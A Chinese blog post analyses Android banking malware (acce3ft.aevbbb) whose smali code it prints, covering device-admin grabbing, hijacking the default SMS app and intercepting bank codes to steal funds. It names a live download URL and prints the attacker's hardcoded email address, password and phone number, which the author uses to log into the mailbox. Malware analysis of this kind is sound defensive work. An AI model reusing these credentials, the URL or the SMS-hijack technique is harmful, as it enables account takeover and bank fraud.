2016年9月12日星期一

ANDROID 逆向实例(一)- acce3ft.aevbbb


对于恶意软件不进行打码处理了,网址是 http://hpwxn.com/ 浏览之后可以下载两个 apk ,不过从文件大小来看应该是一个文件只不过进行了改名。

一般这种恶意软件既不会加壳也不会做复杂的混淆处理,分析起来很简单。直接反编译看 AndroidManifest.xml,找到如下一行。

<activity android:label="@string/app_name" android:name="acce3ft.aevbbb.MainActivity">

可以看到程序的 MainActivity, 直接看 acce3ft/aevbbb/MainActivity.smali 文件。

OnCreate

.method protected onCreate(Landroid/os/Bundle;)V
    .locals 4

    const/4 v3, 0x1

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    invoke-super {p0, v3}, Landroid/app/Activity;->requestWindowFeature(I)Z

    const/high16 v0, 0x7f030000

    invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->setContentView(I)V

    invoke-static {}, Lacce3ft/aevbbb/util/MyApplication;->b()Landroid/content/Context;

    move-result-object v0

    invoke-static {}, Lacce3ft/aevbbb/util/c;->a()Z

    move-result v1

    if-nez v1, :cond_0

    invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->a(Landroid/content/Context;)V

    invoke-virtual {p0}, Lacce3ft/aevbbb/MainActivity;->finish()V

    :cond_0
    new-instance v1, Landroid/content/ComponentName;

    const-class v2, Lacce3ft/aevbbb/NetstateReceiver;

    invoke-direct {v1, v0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;

    move-result-object v0

    const/4 v2, 0x2

    invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V

    invoke-static {}, Lacce3ft/aevbbb/util/c;->d()V

    return-void
.end method

进行了一系列的初始化操作,主要就是查看当前手机是否符合恶意软件的运行环境(权限、组件的开启情况等),需要注意的是在最后调用了 Lacce3ft/aevbbb/util/c;->d() 跟一下这个函数,该片段主要的代码结构如下

const-string v1, "CONTROL_NUMBER"

    sget-object v2, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;

    invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v1

    sput-object v1, Lacce3ft/aevbbb/util/a;->g:Ljava/lang/String;
即将 Lacce3ft/aevbbb/util/a; 类的各个参数进行重新赋值,本片段中是给 g 参数进行复制,因为重复地对该类进行赋值和读取操作,所以推测该类作用为储存恶意软件运行参数,查看该类的 smali 文件。

.method static constructor <clinit>()V
    .locals 1

    const/4 v0, 0x0

    sput v0, Lacce3ft/aevbbb/util/a;->a:I

    const-string v0, "sss"

    sput-object v0, Lacce3ft/aevbbb/util/a;->b:Ljava/lang/String;

    const-string v0, "15274907736@189.cn"

    sput-object v0, Lacce3ft/aevbbb/util/a;->c:Ljava/lang/String;

    const-string v0, "aaaa123123"

    sput-object v0, Lacce3ft/aevbbb/util/a;->d:Ljava/lang/String;

    const-string v0, "15274907736@189.cn"

    sput-object v0, Lacce3ft/aevbbb/util/a;->e:Ljava/lang/String;

    const-string v0, "15274907736"

    sput-object v0, Lacce3ft/aevbbb/util/a;->f:Ljava/lang/String;

    const-string v0, "15274907736"

确实如之前猜测一样,是参数类,邮箱账号和密码如上所示,登陆一下看看。


中招的挺多的,从邮件分析了一下恶意软件的运行机制,会从各个网银、理财等软件里向手机发起验证码,进行转账第一笔的 5 块转账,目的是为了查看是否能够走通流程,如果成功的话,会转出后续的余额,看了一下最多的一个账户余额为 7 w,到我查看的时候已经所剩无几。

OnStart


主要进行了两个操作,如果可以获取管理员权限(ROOT)即进行添加管理员操作(状态码:1),不行的话就尝试修改默认 SMS 使用的 package 为恶意软件的 package(状态码:0),执行完毕之后带着状态码进入 Lacce3ft/aevbbb/MainActivity;->startActivityForResult() 函数。

而与 startActivityForResult() 对应的, onActivityResult() 中设置了各个状态码对应的操作。几个比较明显的代码段如下。

const-string v0, "device_policy" # 检查当前是否为管理权限

invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

move-result-object v0

check-cast v0, Landroid/app/admin/DevicePolicyManager;

new-instance v1, Landroid/content/ComponentName;

const-class v2, Lacce3ft/aevbbb/MyAdmin;

invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z

move-result v0
---
const-string v1, "isAdminActive" # 设置当前应用的管理员权限

invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;

invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z 
---
const-string v1, "android.provider.Telephony.SMS_DELIVER" # 设置当前应用为默认 SMS

invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;

iget-object v0, p0, Lacce3ft/aevbbb/MainActivity;->b:Landroid/content/Intent;

invoke-virtual {p0, v0}, Lacce3ft/aevbbb/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

后续行为不做分析了,基本上千篇一律,删除并举报了邮箱。不过值得一提的是,在 360 显危镜和腾讯哈勃的 app 扫描里,该软件并没有被确定是恶意软件。

*文中分析的 apk 文件可以在 AndroidRevStudy 找到